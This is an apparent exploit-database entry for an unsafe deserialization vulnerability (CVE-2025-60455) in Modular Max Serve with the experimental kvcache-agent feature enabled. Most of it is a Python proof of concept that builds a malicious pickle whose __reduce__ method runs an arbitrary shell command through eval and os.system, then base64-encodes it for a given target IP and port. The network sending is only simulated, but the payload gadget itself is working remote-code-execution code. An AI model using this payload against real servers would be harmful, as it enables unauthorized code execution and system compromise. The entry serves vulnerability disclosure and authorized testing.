Unsafe Deserialization vulnerability in Modular Max Serve before 25.6, specifically when the "--experimental-enable-kvcache-agent" feature is used allowing attackers to execute arbitrary code.
Modular Max Serve < 25.6 (with --experimental-enable-kvcache-agent enabled)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-60455 PoC - Unsafe Deserialization in Modular Max Serve
# This PoC demonstrates the unsafe deserialization vulnerability
# Target: Modular Max Serve with --experimental-enable-kvcache-agent enabled
import pickle
import sys
import base64
class MaliciousPayload:
"""
Malicious class that executes arbitrary code during deserialization.
This exploits the __reduce__ method to achieve RCE.
"""
def __reduce__(self):
# Replace with actual command to execute on target
cmd = "whoami" # Example command
return (eval, (f"__import__('os').system('{cmd}')",))
def generate_payload():
"""Generate malicious pickle payload"""
payload = pickle.dumps(MaliciousPayload())
return base64.b64encode(payload).decode('utf-8')
def exploit(target_ip, target_port):
"""
Exploit the unsafe deserialization vulnerability
Assumes attacker has local access to the system where Max Serve is running
"""
payload = generate_payload()
# Construct the malicious serialized data
# In real attack, this would be sent to the kvcache_agent endpoint
print(f"[*] Generated malicious payload: {payload[:50]}...")
print(f"[*] Payload length: {len(payload)} bytes")
print(f"[!] This payload will execute: whoami command on deserialization")
print(f"[*] Target: {target_ip}:{target_port}")
print("[*] Sending payload...")
# Simulate sending the payload
# In practice, this would be sent via the kvcache_agent interface
return payload
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_ip> <target_port>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = sys.argv[2]
exploit(target_ip, target_port)